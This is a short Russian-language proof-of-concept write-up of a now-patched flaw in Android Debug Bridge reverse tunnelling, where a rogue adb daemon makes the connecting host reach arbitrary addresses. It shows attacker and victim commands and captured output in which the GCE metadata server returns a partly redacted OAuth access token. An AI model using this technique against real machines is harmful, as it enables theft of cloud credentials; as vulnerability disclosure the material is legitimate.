
Код доказательства концепции для эксплуатации уязвимости в adb, которая позволяла открывать сетевые соединения на хосте к произвольным адресам.
Функция обратного туннелирования в Android Debug Bridge (adb) была уязвимой, так как позволяла вредоносным демонам adb открывать соединения с произвольными хостами/портами и доменными сокетами Unix на хосте.
Окно атакующего (где запущен подставной демон):
$ ./adb_rogue_daemon.py
Окно жертвы (в данном примере — виртуальная машина GCE):
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
Окно атакующего:
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
Эта уязвимость была исправлена в Platform Tools 33.0.3.